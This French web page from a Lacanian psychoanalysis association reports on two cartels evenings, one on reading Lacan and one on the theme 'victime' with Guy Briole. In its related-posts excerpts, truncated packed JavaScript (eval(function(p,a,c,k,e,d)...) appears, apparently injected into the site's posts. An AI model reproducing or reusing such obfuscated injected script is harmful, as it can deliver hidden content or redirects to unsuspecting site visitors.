Echos des cartels

Echos de la soirée des Cartels «  Lire Lacan, c’est y mettre du sien »

Par Marcelo Denis, délégué aux Cartels pour l’ACF IdF

La traditionnelle soirée de rentrée des cartels a eu lieu cette année à l’Ecole de la cause freudienne le 13 octobre 2016. Une équipe s’est constituée plusieurs mois en amont pour penser cette soirée co-organisée par l’Envers de Paris et l’ACF-IDF[1]. Il a fallu choisir un thème, un titre «  Lire Lacan, c’est y mettre du sien », des intervenants. C’est avec enthousiasme que nous avons travaillé, chacun y allant de son apport singulier.

Les intervenants appelés au pied levé avaient répondu présent. Trois cartellisant Ariane Chottin, Beatriz Gonzalez-Renou et Damien Guyonnet, étaient sollicités pour rendre compte à partir de leurs expériences de travail en cartel de l’extraction d’un savoir singulier.  Pour animer la discussion Dalila Arpin, secrétaire aux cartels, récemment nommée AE, y allait de sa ponctuation.

Le témoignage vivant et généreux de leurs diverses expériences rendait pourtant palpable un point commun : le savoir issu du travail en cartel est un savoir qui surgit d’une mise en question intime, que le dispositif d’élaboration en petit groupe, inventé par J. Lacan, rend possible. La discussion a mis en lumière toute la force de ce dispositif pour étudier la psychanalyse. Le cartel reste donc d’actualité pour lire Lacan, c’est un endroit où le y mettre du sien peut advenir.  « Inventer une façon à soi pour trouver et tenir ce fil rouge d’une séance à l’autre de cartel[2] relève du possible. »

Les échanges ont permis d’illustrer le rôle d’agent provocateur qu’incarne le plus-un ainsi « que le mouvement de recherche qui se réalise in vivo »[3] à l’intérieur d’un cartel. C’est avec plaisir qu’en cartel le travail d’extraction d’un savoir peut se faire. Le cartel peut accueillir le non-su, avec pour chacun la possibilité de trouver, à partir de sa question et selon le moment de son parcours, un bout de ce qu’il ne savait pas[4].

Dans la deuxième partie de la soirée nous avons procédé au tirage au sort pour la constitution de nouveaux cartels tel que Lacan le proposait en 1980, avec une petite nouveauté : il a eu lieu pour la première fois, au moyen d’un logiciel. Le gain de temps a ainsi permis de faire plus ample connaissance autour d’un verre et de formaliser la constitution de 14 groupes, potentiellement nouveaux cartels. La salle archicomble dans un mélange d’anciens et nouveaux cartellisant est en soi satisfaisant mais au-delà du chiffre le plaisir était au rendez-vous, le y mettre du sien présent comme un pari réussi.  Pour ceux qui n’étaient pas là et qui souhaiteraient en écouter quelques propos, rendez-vous sur le site de Radio Lacan.

[1] Equipe constituée de Martine Bottin, Serena Guttadauro, Sonia Pent, Agnès Bailly (déléguée aux cartels pour l’Envers de Paris) et Marcelo Denis (délégué aux cartels pour l’ACF-IDF).

[2] Beatriz Gonzalez-Renou

[3] Damien Guyonnet

[4] Dalila Arpin

Soirée intercartels

Par Marcelo Denis, délégué aux cartels 

 

En préparation de la rencontre PIPOL 7, la soirée intercartels organisée par l’Envers de Paris et l’ACF-IdF du 8 juin dernier, a été l’occasion d’entendre le produit des cartels qui ont travaillé pendant trois mois autour du thème « victime ». Beaucoup de propositions d’intervention émanant des cartels nous ont rendu le choix des textes difficile, nous avons pour cela sollicité l’aide des plus-uns.

Six textes réduits au maximum, venant de six cartels fulgurants différents, ont été présentés par les cartellisants. Sous forme de flashs, ils sont venus éclairer voire, illustrer différents points de la question. Ils ont montré la façon dont la psychanalyse peut se positionner sur l’être victime d’un sujet, comment elle peut accueillir et traiter des sujets se présentant sous le signifiant victime.

C’est autour de trois parties : fictions, scène privée et professionnelle, et enfin la parole ravagée que les interventions des cartellisant ont été regroupées. Cinq vignettes cliniques d’adultes et d’enfants ont montré comment un sujet peut se servir d’un signifiant ou se sortir d’une position ; puis un texte basé sur la vie de Jan Karski à partir du livre de Yannick Haenel posait une question : Jan Karski a-t-il été victime de sa destinée ?

En proposant plusieurs axes de lecture autour de ce terme « victime », Guy Briole, invité d’honneur, a attiré notre attention sur le fait que « victime » n’est pas un concept psychanalytique. Si l’on est victime c’est dans la rencontre avec un réel et que « le traumatisme dont souffre un sujet victime n’est pas tant ce qu’il voit mais ce qui le regarde ». Afin d’illustrer ceci, nous avons eu l’exemple de la destinée de Jan Karski, polonais qui eut pour mission en 1942 d’être le messager de l’extermination du peuple juif auprès des alliés. Au-delà d’un texte qu’il dût apprendre par cœur, il a été incité à voir par lui-même. Après avoir vu de ses propres yeux l’horreur du ghetto de Varsovie, il a été lui-même regardé par cette horreur qui faisait de lui non plus seulement un messager mais également un témoin. En vain, il a tenté de transmettre son message-témoignage sur l’extermination du peuple juif et n’a eu cesse de revoir ces images qui l’ont hantées, l’ont regardées jusqu’à la fin de sa vie…

Guy Briole a animé la soirée à un rythme soutenu, avec des questions sur chaque présentation tout en respectant un timing serré. Dans la salle comble, nous avons trouvé un auditoire attentif intervenant dans le débat, ainsi que la présence notable des plus- uns des cartels venus soutenir la réflexion.

En guise de conclusion, Guy Briole nous a présenté son texte « Le pharmakos au XXIème   siècle » qui a été une découverte pour l’ensemble de l’auditoire de Navarin.

Le temps nous a été compté et cette soirée se finissait déjà, à grande vitesse, à la lumière des éclairages portés par le traitement rigoureux de la lecture analytique. Je tiens à remercier l’ensemble des participants ainsi que Pascale Fari de l’Envers de Paris et son équipe de Paris cartel, pour cette fructueuse collaboration.

Related posts

Les échos

  eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n...

Echos de Marne Essonne

Echo de la soirée cinéma-psychanalyse du mardi 13 juin à Orsay pour le film L’amant double de François Ozon Isabelle Ramirez et Isabelle Magne   Comme Freud s’inspirait d’E.T.A. Hoffmann pour parler du surgissement de l’angoisse face à la figure du double, Laurent Dupont a brillamment...

Echos de Oise Marne

A propos de SHOCK CORRIDOR eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...